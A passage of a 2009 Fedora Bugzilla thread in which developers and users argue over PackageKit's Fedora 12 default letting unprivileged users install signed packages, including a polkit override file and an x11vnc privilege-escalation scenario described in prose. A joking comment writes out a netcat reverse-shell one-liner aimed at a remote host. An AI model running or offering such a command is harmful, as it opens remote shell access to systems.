+     Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it
+     anything you want) and the content should be
 
-    pklalockdown --lockdown org.freedesktop.packagekit.package-install  
+-    [NoUsersInstallAnythingWithoutPassword]
-
++    [NoUserSignedInstall]
-    OR
+-    Identity=unix-user:someone;unix-user:someone_else
-
++    Identity=unix-user:*
-    Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it
+-    Action=org.freedesktop.packagekit.*
-    anything you want) and the content should be
++    Action=org.freedesktop.packagekit.package-install
-
+-    ResultAny=auth_admin
-    [NoUserSignedInstall]
++    ResultAny=no
-    Identity=unix-user:*
+-    ResultInactive=auth_admin
-    Action=org.freedesktop.packagekit.package-install
++    ResultInactive=no
-    ResultAny=no
+-    ResultActive=auth_admin
-    ResultInactive=no
++    ResultActive=auth_admin_keep-    ResultActive=auth_admin_keep

Comment 138 John J. McDonough 2009-11-19 13:39:27 UTC
We have seen multiple suggestions for release notes over the past few hours, some of which apparently don't work if you aren't a PackageKit developer and others that may quit working sometime.

Docs would appreciate it if someone from FESCo would review

http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html

then put on his "official" hat, appear on #Fedora-Docs, and give the Docs project lead some guidance.

I should also mention that "requires release note" contains something irrelevant about 90% of the time.  That doesn't mean we don't pay attention, but they don't get the attention a bug filed against release notes gets, and they also don't give us something to track.

If a change in release notes, the security guide, or any other document is important, please file a bug against that document.

Comment 139 Daniel Walsh 2009-11-19 13:59:05 UTC
Richard, 


Comment 131, so an administrator of the box decides to install some package from RPMFusion, yum or packagekit asks it to install the signature.  Admins says yes.

Now any user or any Appliction the user runs firefox, thunderbird, evolution ...  

Can install software not only from Fedora but also RPMFusion.

This is a bad decision and should be reversed.  

One of the things we do very poorly in Fedora is handle managed desktops.  And this is just one more huge step in the wrong direction.

Comment 140 Richard Hughes 2009-11-19 14:32:37 UTC
(In reply to comment #139)
> Can install software not only from Fedora but also RPMFusion.

Sure.

> This is a bad decision and should be reversed.  
> One of the things we do very poorly in Fedora is handle managed desktops.  And
> this is just one more huge step in the wrong direction.  

This change was made for the "Desktop" spin, not the "Server" spin, or the "Corporate workstation spin", and hence I think it's the appropriate level of the usability v.s. security tradeoff. Other people may disagree, but it's likely they are using "Fedora Desktop Spin" for a non-desktop use case.

Note, in F12 (desktop spin) normal users can also:

* Grant high priority scheduling to a user process
* Connection sharing via a protected WiFi network
* Suspend the system
* Inhibit media detection
* Mount a device
* Restart the system
* Get information about system services
* Install debuginfos using abrt
* Enroll new fingerprints

Now, in the 100% secure case, nobody would be allowed to do any of that without the admin password, but then we destroy the usability of the system, and make it unusable.

Note: for a server spin, I would say not including PackageKit is a very good idea. For a corporate workstation I would say defaulting all those actions to "no" would also be a good idea, which is what the pkla "override" solution allows us to do.

Comment 141 Kevin Kofler 2009-11-19 14:51:51 UTC
I thought of this a bit in the tramway and actually, I believe the policy from F11 can be implemented in PackageKit without specific support from PolicyKit (i.e. without auth_admin_keep_always):

1. PackageKit requests org.freedesktop.packagekit.package-install as it does now.
2. org.freedesktop.packagekit.package-install defaults to auth_admin_keep, not yes.
3. If authorized, the daemon verifies an additional, new policy org.freedesktop.packagekit.remember-authorization which should default to yes for active console users (to match F11- behavior), but which paranoid admins can set to no to disable this feature. (Note: this should NOT be set to require an additional authentication, instead see step 7.)
4. If that was also authorized, PackageKit asks the UI (gnome-packagekit or KPackageKit) to ask for remembering the authorization. If the UI doesn't support it, nothing happens, otherwise we proceed.
5. The PackageKit UI brings up a prompt "Remember authorization to install packages? [Yes] [No] [Never]"

If Yes is clicked:
6. The PackageKit UI asks the PackageKit daemon (which runs as root) to remember the authorization.
7. The daemon verifies that the request comes from a user who just got authorized to install packages (i.e. cached successful authentication from step 2).
8. The daemon also verifies the cached result of the remember-authorization check (step 3).
9. Assuming both checks passed, the daemon uses its root privileges to edit the PolicyKit configuration to always authorize install-packages for this user when logged in locally.

If No is clicked, nothing happens.

If Never is clicked, either the UI or the daemon saves this information somewhere so the user is not bothered again with the question.

2 and 7 imply that there is no way to get authorizations without entering the root password at least once (unless the admin explicitly gave out the package-install permission). 3 and 8 imply it is possible to force users to always enter the root password at each time (but this should not be the default). So this implements the policy which has been used successfully in Fedora 9, 10 and 11.

Comment 142 Kevin Kofler 2009-11-19 14:54:22 UTC
> This change was made for the "Desktop" spin

No, it was made for any and all spins, in the default configuration of a core package. To do this only for the desktop spin, you would have had to ship a restrictive configuration by default and relax it in the desktop spin kickstart (but it's too late for that, and besides I don't think that would have calmed down the complaints all that much).

Comment 143 Mathieu Brabant 2009-11-19 15:06:21 UTC
(In reply to comment #140)

> This change was made for the "Desktop" spin, not the "Server" spin, or the
> "Corporate workstation spin"

Where can the "Server" spin or the "Corporate workstation" spin be downloaded from?

I have searched the following pages but did not find anything related to those spins you make reference to.

http://spins.fedoraproject.org/
http://fedoraproject.org/en/get-fedora-all
http://torrent.fedoraproject.org/
https://fedoraproject.org/wiki/Special:Search?search=server+spin


Thank you

Comment 144 David Zeuthen 2009-11-19 15:07:24 UTC
(In reply to comment #122)
> > why not just ask the user (via checkbox?) to not have to authenticate again
> > like:
> >
> > [X] allow this user to always install packages
> 
> In fact this is exactly what happened in F9 to F11.
> 
> But it turns out that PolicyKit 1 no longer supports this feature (it was
> called auth_admin_keep_always in PolicyKit 0.9). See:
> https://fedorahosted.org/fesco/ticket/277#comment:4
> http://lists.freedesktop.org/archives/polkit-devel/2009-September/000213.html

Yeah? So? FYI, this feature was removed *on purpose* because having "[x] remember my decision" for dialogs is generally very poor UI and just a symptom that you are doing something on a fundamental level. For security-related bits, it's worse. So that's why this option was removed.

> So I strongly disagree with David Zeuthen's claim that PolicyKit 1 has no blame
> in this issue.  

Kevin, you may disagree all you want. And please don't add me to the Cc for this bug again, it has nothing to do with polkit. If you have complaints etc about polkit the proper place is the upstream bug tracker.

Comment 145 James Morris 2009-11-19 15:07:58 UTC
I just found out about this from Spender's twitter...

One of the (many) issues here is that an unprivileged user will be able to change the MAC (mandatory access control) policy of the system, which breaks the mandatory aspect of MAC.

So, let's say the admin configured the system with a strict security policy; any user can simply install a weaker policy if it's available in the repo.

I'm concerned also at the way this issue was summarily dismissed by the developers, who themselves have not provided any detailed rationale or analysis of this very significant change to the way OS security works.

Also, any change to the OS security model needs to be reviewed widely.

Please cc the Fedora SELinux list on any such changes, at the very least.

https://www.redhat.com/mailman/listinfo/fedora-selinux-list

Comment 146 Rick L Vinyard Jr 2009-11-19 15:08:54 UTC
(In reply to comment #140)
> This change was made for the "Desktop" spin, not the "Server" spin, or the
> "Corporate workstation spin", and hence I think it's the appropriate level of
> the usability v.s. security tradeoff. Other people may disagree, but it's
> likely they are using "Fedora Desktop Spin" for a non-desktop use case.

For the desktop use case, I don't believe this is an appropriate tradeoff. I agree that others have made the case for servers, but I will argue that this is inappropriate for the desktop case as well.

> Note, in F12 (desktop spin) normal users can also:
> 
> * Grant high priority scheduling to a user process
> * Connection sharing via a protected WiFi network
> * Suspend the system
> * Inhibit media detection
> * Mount a device
> * Restart the system
> * Get information about system services
> * Install debuginfos using abrt
> * Enroll new fingerprints

Perhaps those should also be discussed and analyzed further, but that doesn't serve as a justification for the matter at hand.

> Now, in the 100% secure case, nobody would be allowed to do any of that without
> the admin password, but then we destroy the usability of the system, and make
> it unusable.

I don't think that it does destroy the usability of the system. With respect to security issues it is a common UI pattern to take the secure case as the default and present the user with an opportunity to change the default to a more permissive level.

A common cross-platform example of this balance can be seen in Firefox.

I understand what you're trying to accomplish with usability, but I think there is a better way to strike a balance between security and usability.

I would argue for an approach that prompts the user on installation for admin credentials (whether that is root, sudo or some other mechanism) and then provides the user with the ability to change the policy with a checkbox.

Comment 147 Andrew Gormanly 2009-11-19 15:09:22 UTC
(In reply to comment #140)
> This change was made for the "Desktop" spin, not the "Server" spin, or the
> "Corporate workstation spin", and hence I think it's the appropriate level of
> the usability v.s. security tradeoff.

You seem to be in the minority.

> Other people may disagree, but it's
> likely they are using "Fedora Desktop Spin" for a non-desktop use case.

I find this as objectionable on my home desktop and netbook as I do on our corporate desktop.  Whether it's my kids or my colleagues, normal accounts are not supposed to have elevated privileges unless the main administrator has explicitly delegated them.  Even Windows Vista gets this right.

> Note, in F12 (desktop spin) normal users can also:
> 
> * Grant high priority scheduling to a user process
> * Connection sharing via a protected WiFi network
> * Suspend the system
> * Inhibit media detection
> * Mount a device
> * Restart the system
> * Get information about system services
> * Install debuginfos using abrt
> * Enroll new fingerprints

Some of these are reasonable, some might not be.  None are as unreasonable as the issue at hand.  Thank you, though, for letting us know about the others.

Comment 148 Rick L Vinyard Jr 2009-11-19 15:09:37 UTC
(In reply to comment #140)
> This change was made for the "Desktop" spin, not the "Server" spin, or the
> "Corporate workstation spin", and hence I think it's the appropriate level of
> the usability v.s. security tradeoff. Other people may disagree, but it's
> likely they are using "Fedora Desktop Spin" for a non-desktop use case.

For the desktop use case, I don't believe this is an appropriate tradeoff. I agree that others have made the case for servers, but I will argue that this is inappropriate for the desktop case as well.

> Note, in F12 (desktop spin) normal users can also:
> 
> * Grant high priority scheduling to a user process
> * Connection sharing via a protected WiFi network
> * Suspend the system
> * Inhibit media detection
> * Mount a device
> * Restart the system
> * Get information about system services
> * Install debuginfos using abrt
> * Enroll new fingerprints

Perhaps those should also be discussed and analyzed further, but that doesn't serve as a justification for the matter at hand.

> Now, in the 100% secure case, nobody would be allowed to do any of that without
> the admin password, but then we destroy the usability of the system, and make
> it unusable.

I don't think that it does destroy the usability of the system. With respect to security issues it is a common UI pattern to take the secure case as the default and present the user with an opportunity to change the default to a more permissive level.

A common cross-platform example of this balance can be seen in Firefox.

I understand what you're trying to accomplish with usability, but I think there is a better way to strike a balance between security and usability.

I would argue for an approach that prompts the user on installation for admin credentials (whether that is root, sudo or some other mechanism) and then provides the user with the ability to change the policy with a checkbox.

Comment 149 George Billios 2009-11-19 15:09:44 UTC
(In reply to comment #140)

> This change was made for the "Desktop" spin, not the "Server" spin, or the
> "Corporate workstation spin"


You better read http://fedoraproject.org/ for what Fedora is first of all because in your delusion to be it "the mighty developer that changes the world" you forgot what Fedora is. 

Decisions like this and your reactions to the justified criticism just add up to the fact that open source and open collaboration is not so open for you after all.

Now back to the bug, just change this bugged behaviour to optional and by default set it to not permit software installation without root password/privileges. So simple!

Comment 150 Nathan Oosthuizen 2009-11-19 15:15:50 UTC
I would like to add that I am appalled by the response by the developers involved.  With the huge response on this ticket, and on slashdot I would imagine you would bury your pride, and simply go an fix this.

This has become an ideological battle, and I for one, am using my power as a consumer to opt out of Fedora.  

Thanks for a great product.  No thanks for the attitude.

Comment 151 Rick L Vinyard Jr 2009-11-19 15:17:22 UTC
(In reply to comment #144)
> Yeah? So? FYI, this feature was removed *on purpose* because having "[x]
> remember my decision" for dialogs is generally very poor UI and just a symptom
> that you are doing something on a fundamental level. For security-related bits,
> it's worse. So that's why this option was removed.

That is certainly not an indication of a very poor UI practice. It is absolutely appropriate when a significant portion (perhaps not even the majority) of users may wish to alter the way the UI interacts with their tasks and it is not absolutely clear at design time what the default behavior should be.

Comment 152 Richard Hughes 2009-11-19 15:20:31 UTC
(In reply to comment #145)
> One of the (many) issues here is that an unprivileged user will be able to
> change the MAC (mandatory access control) policy of the system, which breaks
> the mandatory aspect of MAC.

If you're in a MAC environment, then you need to configure other elements of
default policy, not just PackageKit. If you're deploying the Fedora desktop
spin to a workstation by just installing the MAC policy then there are other,
easier, ways of rooting the system.

Comment 153 Need Real Name 2009-11-19 15:21:44 UTC
It's a safety interface, so that homeland security can persuade 6 year old children via facebook to install the next package on the CIA list of unpatched exploitable packages in universe. Otherwise how can you be protected from Linux using terrorists?

This way looks more innocent than asking a 6 year old to type:
  nc -c 'bash -i' westcoast.cia.gov 9999

and even that would require netcat to be installed - and it often isn't!

How can the government keep you safe if you all keep closing the door?

Are Richard Hughes (and friends) the only patriots among us?

Shame on you all!

Comment 154 Kevin Kofler 2009-11-19 15:23:30 UTC
Any comments about my comment #141? I proposed a technical solution, implementable entirely in PackageKit (not PolicyKit), which should provide the same policy as in previous releases of Fedora.

Comment 155 john.haxby@oracle.com 2009-11-19 15:29:26 UTC
Speaking as myself (that is, nothing to do with my employer):

This comment #141 sounds like a good way forward.

Comment 156 Frank Ch. Eigler 2009-11-19 15:42:50 UTC
(In reply to comment #140)
> ...
> Now, in the 100% secure case, nobody would be allowed to do any of that without
> the admin password, but then we destroy the usability of the system, and make
> it unusable.

Decades of established unix usability contradicts this dire assessment.

Comment 157 alien_life_form 2009-11-19 15:48:52 UTC
Greetings.

It is interesting to notice how some people on this thread are refusing to 
(at least) acknowledge some of the points that are repeatedly being made, the main ones being:

i) Even if security was not an issue - it is, big time - this bug basically undermines the maintainability of a multiuser desktop system (even for a single user desktop system, the principal user would at least know his/her password, so a Ubuntu like solution - with the principal user in /etc/sudoers - would be better than what's been put in place)

ii) It has been asserted (and never contested) that this does not live only on the desktop spin. Yet the desktop spin thing keeps popping up.

It is obvious to me that the core issues are ideological more than anything else. This bug has gathered 3000+ votes as of my writing, yet people are still arguing for the current behavior.

I really think I will tick FC off my distros list.

Cheers,
alf

Comment 158 Jan "Yenya" Kasprzak 2009-11-19 16:00:06 UTC
Re: comment #157

Well, Fedora has been dead for multiuser systems for a long time anyway (see the bug #433649 as an example - the default display manager is not usable for anything more than 5-10 users since F8, and the gdm maintainers in Fedora do not seem to care).

I take it FeSCo wants Fedora to be an easy-to-use single-user desktop-_only_ distribution.

Comment 159 Rahul Sundaram 2009-11-19 16:06:11 UTC
FESCo doesn't micro manage to that level. It deals with issues escalated to the team such as this one.

Comment 160 Kevin Kofler 2009-11-19 16:07:30 UTC
FESCo hasn't made any decision yet, this decision has been made by the PackageKit maintainer without talking to FESCo (at least I hadn't heard of it before the F12 release), we will be discussing this in FESCo tomorrow (and may well end up forcing a change).

Comment 161 Denny Crane 2009-11-19 16:08:36 UTC
(In reply to comment #8) 
> *You missed the "in my opinion" line in your reply.*

hmmmmm ...

(In reply to comment #8)
> It's not insecure.

'You missed the "in my opinion" line in your reply.'

(In reply to comment #8)
> this is the "desktop" spin, not the "server" spin.

'You missed the "in my opinion" line in your reply.'

(In reply to comment #9)
> Admins can *trivially* change the default

'You missed the "in my opinion" line in your reply.'

(In reply to comment #15)
> You can use a *simple* pkla file if you want to change
> the default.

'You missed the "in my opinion" line in your reply.'

(In reply to comment #39)
> the admin can *easily* change the defaults.

'You missed the "in my opinion" line in your reply.'

(In reply to comment #40)
> It's a *much easier* exploit to create a
> malicious gdm3 package that obsoletes gdm2 and ship it as an update, that gets
> installed automatically.

'You missed the "in my opinion" line in your reply.'

(In reply to comment #40)
> You either trust the fedora repos or you don't.

'You missed the "in my opinion" line in your reply.'

(In reply to comment #140)
> it's *likely* they are using "Fedora Desktop Spin" for a non-desktop use case.

'You missed the "in my opinion" line in your reply.'

(In reply to comment #140)
> but then we destroy the usability of the system, and make
> it unusable.

'You missed the "in my opinion" line in your reply.'

(In reply to comment #152)
> there are other, *easier*, ways of rooting the system.

'You missed the "in my opinion" line in your reply.'

Comment 162 Hernol 2009-11-19 16:11:19 UTC
I dont see the FC developers open to debate or simple talking about this issue. 

Have you merge the marketing are with development?

The FC project doesn't seem to have a security assistance...

Comment 163 Rahul Sundaram 2009-11-19 16:16:49 UTC
Fedora is a community project and not a company. It doesn't have a marketing department.

Comment 164 Hernol 2009-11-19 16:24:24 UTC
Yes, sorry, I forgot the 'In my opinion it seems like...' at the beginning of that sentence.

Comment 165 Nathan Oosthuizen 2009-11-19 16:25:03 UTC
    If it is only developers ... then they are the marketers.  They represent the
    product to the world via their attitudes and quality of work.  They are also
    then customer care, and their attitudes will help people decide whether they
    want to use their product or not.

    Also ... future companies may look at responses to problems with a product, to
    see how the candidate will respond in their team environment.

    Marketing exists every where ... we all are marketers of at least ourselves.

Comment 166 Jim Perrin 2009-11-19 16:34:03 UTC
(In reply to comment #163)
> Fedora is a community project and not a company. It doesn't have a marketing
> department.  

But Fedora is run by Red Hat isn't it? I mean, around half of the commenters on this bug are @redhat.com folks. It's on a redhat.com url... there are hidden comments by redhat.com folks that the community can't see. And just to reassure us (or lull us into taking off our tinfoil) you have @redhat folks telling us there is no conspiracy about this. 

Can't fedora just borrow a redhat marketer now and then?

Comment 167 Rob Marti 2009-11-19 16:43:44 UTC
(In reply to comment #163)
> Fedora is a community project and not a company. It doesn't have a marketing
> department.  

http://fedoraproject.org/wiki/Marketing

Comment 168 Rahul Sundaram 2009-11-19 16:44:08 UTC
I think this very off topic for this bugzilla but I will clarify just once. 

Fedora is made up of a community of volunteer and Red Hat developers and some of us including me are part of Red Hat but remain volunteers in the Fedora community. RHEL discussions are sometimes private in bugzilla but Fedora discussions are not (with exception of undisclosed security issues).  Fedora can and does borrow Red Hat folks to help out now and then but doesn't have a separate marketing department.  The marketing team in Fedora is mostly volunteers. If you want further information, feel free to have a discussion outside of this bug report. Thanks.

Comment 169 Gerard Fernandes 2009-11-19 16:50:58 UTC
(In reply to comment #168)
> I think this very off topic for this bugzilla but I will clarify just once. 

Are you intentionally being obtuse about this? The point clearly is that despite so many voices being raised from within the Fedora user community (and so many votes), nothing is being done about it so far apart from a workaround.

Why is there no comment from the Fedora developer about rolling back this change?

That is the point really, isn't it?

Comment 170 Rahul Sundaram 2009-11-19 16:54:57 UTC
As has been noted many times already, FESCo, the engineering steering committee of the Fedora Project will be discussing this in their next meeting tomorrow. The ticket number is at 

https://fedorahosted.org/fesco/ticket/277

Everyone will just have to be patient till then.

Comment 171 rambler8 2009-11-19 16:57:18 UTC
In my opinion, allowing local users to install packages without root authentication is not an appropriate default setting. This is not to say that having the option to do so is not without its merits since some users would rather not have to enter the root password everytime. However, there are times when a local user should not be allowed to install a package even on a standalone desktop, e.g. parents or teachers may not want their children or students to be able to use some software packages.

The solutions I propose are either: 

1) Default to requiring the root password as it was in F-11. The PackageKit GUI could be modified to allow a user who has been autenticated with the root password to change the setting for whether or not to allow all users to install packages without requiring future root authentication. This keeps the default setting in line with long accepted best practices but allows less experience users the ability to change the setting to be more user freindly without having to manually edit a file.

or 

2) Modifiy Packagekit to base installation privledges on membership in one or more groups. This would allow the administrator the ability to grant install privledges to some local users but not to others. By default root and equivalents should be the only member of these groups, but the GUI tools for managing groups could be used to easily grant membership to others.

Comment 172 Arthur Pemberton 2009-11-19 17:02:47 UTC
(In reply to comment #171)
> In my opinion, allowing local users to install packages without root
> authentication is not an appropriate default setting.

I think that at over 170 comment. This sentiment is fairly well covered, and all of us who feel this way need not comment as such.

Comment 173 Stuart Hankins 2009-11-19 17:27:14 UTC
(In reply to comment #166)
> (In reply to comment #163)
> > Fedora is a community project and not a company. It doesn't have a marketing
> > department.  
> 
> But Fedora is run by Red Hat isn't it? I mean, around half of the commenters on
> this bug are @redhat.com folks. It's on a redhat.com url... there are hidden
> comments by redhat.com folks that the community can't see. And just to reassure
> us (or lull us into taking off our tinfoil) you have @redhat folks telling us
> there is no conspiracy about this. 
> 
> Can't fedora just borrow a redhat marketer now and then?  

I use Fedora not only for low-end file servers but also as a preview to the enhancements (and pitfalls) of the next version of the RHEL product which we use for mission-critical applications. As I understand it, Fedora is a testbed for RHEL and serves that purpose very well (frequent revisions, cutting edge stuff). I agree the 2 products are intertwined... when I login to redhat.com, "Fedora" is an option on the main menu for me.

That said, I think this is an example of why we have Fedora in the first place. A change which affects many of us wasn't obvious, and we are working to make our voices heard to hopefully steer the results of this issue for what we believe is its betterment.

Removing my tinfoil hat, I'm sure no one "snuck" this in, it's probably a matter of not realizing or weighing the consequences of the decisions which led up to this change. Some devs responded hastily which is regrettable but I think because so many people have provided the necessary background and expressed their thoughts that anyone regardless of opinion should be able to understand the issue.

I believe the decision to roll this back as a security update will happen. I've trusted Red Hat and the Fedora team long enough (I started using Red Hat 5.2) and they have proven themselves competent many times over. The mistake will be repaired and we can then thank them for listening to our input. What makes this a great product is the community's ability to express opinions and see results.

Comment 174 Gerard Fernandes 2009-11-19 17:46:52 UTC
(In reply to comment #173)
> Removing my tinfoil hat, I'm sure no one "snuck" this in...

One certainly hopes so. However, the Fedora developer assigned to this bug, clearly thinks this is not a bug. To the extent of closing it and it having to be re-opened.

He very clearly is of the opinion that the surface-area exposed is comparable to that of allowing a USB file-system to be auto-mounted by the user.

This is simply not true.

Comment 175 Denny Crane 2009-11-19 18:09:15 UTC
(In reply to comment #174)
> (In reply to comment #173)
> > Removing my tinfoil hat, I'm sure no one "snuck" this in...
> 
> One certainly hopes so. However, the Fedora developer assigned to this bug,
> clearly thinks this is not a bug. To the extent of closing it and it having to
> be re-opened.
> 
> He very clearly is of the opinion that the surface-area exposed is comparable
> to that of allowing a USB file-system to be auto-mounted by the user.
> 
> This is simply not true.  

Right, Mr. Hughes' ideology is as apparent as any of the rest of ours. I remember that I brought up a concern on the PackageKit mailing list, I think it was around the release of Fedora 9, in which I asked for one of two proposed solutions to be implemented to address a similar concern. The problem I saw was that the authentication dialog checkbox to "always remember" (or however it is worded) defaulted to checked, but the user's preference was only remembered if they left it checked! I proposed that either the default should be changed to unchecked, since anyone who opted to "remember" would never have to see the screen again, or the unchecked selection be remembered, since those who opt-out of that functionality should not have to opt-out every single time they install a package, because eventually they would probably forget, and then it wasn't so easy to figure out how to undo that change (besides also being redundant for them to be asked the same question every time).

Either of these suggestions, I believed, would be a reasonable solution that would satisfy anyone.

But to say that Mr. Hughes was "resistant" to the idea would be more than a small understatement! The thread of discussion started much the same way as at the top of this bug report. Mr. Hughes is dismissive of anyone who has a different security perspective, and made it clear that it was his intention to push people to follow his ideology, even if that was by nagging them until they either give in or forget to opt-out.

It went on like that for a while, and I believe (but am not 100% sure I'm remembering the right guy), that, like now, Mr. Zeuthen was joined at the hip with Mr. Hughes in contending the issue. It wasn't until a third big man finally stepped in and basically asked "why the hell not?" that the other two finally agreed.

Whether the change was "snuck in" may be debatable, and certainly not provable with the current information available that I am aware of, but given my past experience with Mr. Hughes and (I think it was) Mr. Zeuthen, I wouldn't rule out that these changes were made in "collusion" in order to push users into following their ideology. While Mr. Zeuthen removes the one functionality, Mr. Hughes is suddenly able to say, "well, sorry you feel that way, but I can't even offer the option anymore ... just have to choose the default," and because so many users will want to have the setting remembered, there is likely to be pressure to keep Mr. Hughes preferred default since he "can't" offer the option that was previously available.

Both men are obviously very talented and are a great benefit to the community, but if they're working against the community, that's a problem.

Comment 176 TK009 2009-11-19 18:17:29 UTC
This is a bug report not a forum. Please limit comments to the technical discussion of this bug report.

TK009
---

Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 177 Denny Crane 2009-11-19 18:27:05 UTC
(In reply to comment #176)
> This is a bug report not a forum. Please limit comments to the technical
> discussion of this bug report.

Technically, the bug is (literally) developer's ideology.

Comment 178 Steven M. Parrish 2009-11-19 18:40:40 UTC
As TK009 as said this is not the proper forum for this discussion as this is a bug report.  I would ask that anyone who has any further comments on this issue to start a thread on the appropriate Fedora mailing list.  This topic is going to be on FESCO's agenda for tomorrow and they will make the final decision in regards to this issue.  

I also ask that those who have made their comments private to open them up.  This is Fedora and transparency is very important to the community.

Steven M. Parrish
KDE & PackageKit BugZapper

Comment 179 David Jao 2009-11-19 18:54:42 UTC
(In reply to comment #135)
> I have not seen this statement from comment #108 refuted clearly:
> 
> "There are also many situations (like x11vnc) where one can "fool" PolicyKit
> into thinking that a remote user is at the console."
> 
> Clearly the comment #108 is either right about this or not.
> In view of these renaming actions, could someone please shed some further
> factual light on this?  

I made the original comment, and I'll be happy to explain. In keeping with Steven's request, the following discussion is technical.

The attack scenario is like this, and it is an *extremely* reasonable scenario. Suppose you are logged in at the physical console, and an attacker on the internet (doesn't matter who or how) somehow obtains your login credentials, like your password or ssh key. Under previous versions of Fedora, they can do everything you can do, but they can't get root unless they escalate their privileges further.

(It's true that, under certain other distributions, knowledge of the user's own password is enough by default to use sudo, but Fedora is not configured this way by default. Anyway, everything here also applies to the ssh key scenario, which has actually been the method of compromise in several high profile incidents in the past.)

The behavior mentioned in this bug (and it is a bug, a rather severe one at that ... oops, sorry, ok back to technical details) introduces an entirely new attack vector for the attacker to exploit to obtain root. Namely, the attacker can install a copy of x11vnc (this does NOT require root privileges; a copy of the binary in the users' home directory is enough), and access the logged-in user's local console from any remote host via x11vnc (plus ssh tunneling as appropriate to circumvent firewalls). In case you are not aware of x11vnc, the entire purpose of the program is to allow a remote vnc client to manipulate the local console desktop, as if the remote user were at the console.

From there, it is easy to figure out how the rest of the attack goes: simply find ANY signed package in ANY configured repository that has ANY local exploit, and exploit it. What I described above is only one possible attack, and it took me all of 5 minutes to conceive it. There are certainly others.

The problem is that, no matter how much Richard Hughes and his cohorts insist otherwise, it is simply NOT TRUE that only physical console users can manipulate the console. Since this key assumption is completely and utterly invalid, their whole argument in defense of this change falls apart.

There are more comments that I want to add, but they are not technical, and not kind, so I think I'll stop here.

Comment 180 Luya Tshimbalanga 2009-11-19 19:04:27 UTC
(In reply to comment #30)

> Instead, just tell people to create a .pkla file - see the pklocalauthority man
> page for how that works including examples and so forth. From the command line
> it would look like
> 
>  # cat > /var/lib/polkit-1/.../myfile.pkla << EOF
>  <filecontents>
>  EOF
> 
>     David  

What happened to the frontend Authorization found on System->Preferences (Gnome desktop)?

Comment 181 Rahul Sundaram 2009-11-19 19:10:05 UTC
@David Jao,   refer to

https://www.redhat.com/archives/fedora-devel-list/2009-November/msg01330.html

You don't have to rely on anybody's word. Just go ahead and run a VNC session and test this. 

@Luya, refer to

https://www.redhat.com/archives/fedora-desktop-list/2009-October/msg00043.html

Comment 182 Adam Williamson 2009-11-19 19:10:38 UTC
I just wanted to highlight a couple of issues here to make sure they make it into the fesco discussion:

1), we can't (easily) 'revert' this decision. The policy that F11 used, which requested authentication one time for each user and then (by default) stored it forever, is no longer available; that kind of stored authentication policy was removed from PolicyKit 1 on the basis that it's a bad design. Comment #141 contains a proposal from Kevin Kofler for how to recreate this mechanism with PolicyKit 1, but it's substantially more complex than a simple policy change.

2), on the theoretical convert-remote-code-execution-vuln-into-local-root-vuln attack, it's important to note that this is equally possible in many circumstances in F11 anyway. As noted, by default, F11 retains authentication for PackageKit installation permanently. So if the theoretical remote code execution vulnerability were to be used against a Fedora 11 user who had ever authenticated to install packages, it would be just as theoretically possible for it to install a vulnerable 'trusted' package in that situation as it is possible in F12. The size of this theoretical exposure is not massively greater in F12 than it is in F11. I don't think there's ever been a proof-of-concept for this theoretical attack, FWIW.

(a corollary to this is it may make sense for PackageKit to check whether a newer version of a 'trusted' package is available in an update repository, and in that situation refuse to consider the older package 'trusted'. that would seem a sensible defence mechanism regardless of this particular issue).

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 183 Adam Williamson 2009-11-19 19:12:27 UTC
re comment #179, as per my comment #182 above, it's not entirely accurate to say the possibility you present is 'entirely new'.

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 184 Rob Marti 2009-11-19 19:17:34 UTC
(In reply to comment #182)

> 2), on the theoretical convert-remote-code-execution-vuln-into-local-root-vuln
> attack, it's important to note that this is equally possible in many
> circumstances in F11 anyway. As noted, by default, F11 retains authentication
> for PackageKit installation permanently. So if the theoretical remote code
> execution vulnerability were to be used against a Fedora 11 user who had ever
> authenticated to install packages, it would be just as theoretically possible
> for it to install a vulnerable 'trusted' package in that situation as it is
> possible in F12. The size of this theoretical exposure is not massively greater
> in F12 than it is in F11. I don't think there's ever been a proof-of-concept
> for this theoretical attack, FWIW.

I've never used (and probably never will use, though not because of this) PackageKit, so on F11 that vulnerability never existed (for me).  F12's default PackageKit policy introduces a vulnerability that I would never have exposed myself to under (my) normal use.

Comment 185 David Jao 2009-11-19 19:18:28 UTC
(In reply to comment #181)
> @David Jao,   refer to
> 
> https://www.redhat.com/archives/fedora-devel-list/2009-November/msg01330.html
> 
> You don't have to rely on anybody's word. Just go ahead and run a VNC session
> and test this. 

Rahul,

The link you posted, far from refuting my claim, actually reinforces it.

<Oxf13> hrm, in the world of PolicyKit and ConsoleKit, does a VNC login
look like a "console" login for the sake of policy?
<hughsie> if you log in, then start remote desktop, and then allow other
users to connect then it does

Which is exactly the scenario I described, except that the attacker can "start remote desktop" by himself (Yes, I have checked this. Not only have I checked this, I use PackageKit in this manner daily.)

Comment 186 David Jao 2009-11-19 19:21:56 UTC
(In reply to comment #183)
> re comment #179, as per my comment #182 above, it's not entirely accurate to
> say the possibility you present is 'entirely new'.

As per #184 above, it is actually a new attack vector in many situations. Also, I find the defense of "it's already insecure, let's make it more insecure" to be incredibly weak ... yeah yeah, non-technical, I know.

Comment 187 Rahul Sundaram 2009-11-19 19:26:53 UTC
(In reply to comment #185)
> (In reply to comment #181)
> > @David Jao,   refer to
> > 
> > https://www.redhat.com/archives/fedora-devel-list/2009-November/msg01330.html
> > 
> > You don't have to rely on anybody's word. Just go ahead and run a VNC session
> > and test this. 
> 
> Rahul,
> 
> The link you posted, far from refuting my claim, actually reinforces it.

Precisely my point.  Richard Hughes hasn't refuted the claims you claim he has.

Comment 188 Kevin Kofler 2009-11-19 19:44:01 UTC
> that kind of stored authentication policy was removed from PolicyKit 1 on the
> basis that it's a bad design

And this is a completely braindead regression in PolicyKit 1. Surely it's "so much more secure" to just blanket give out permissions instead. Haha. Removing something without considering the usecases and WHY this has been used in those usecases is really silly (and so I'm also really unhappy with davidz's dismissive reaction to this issue).

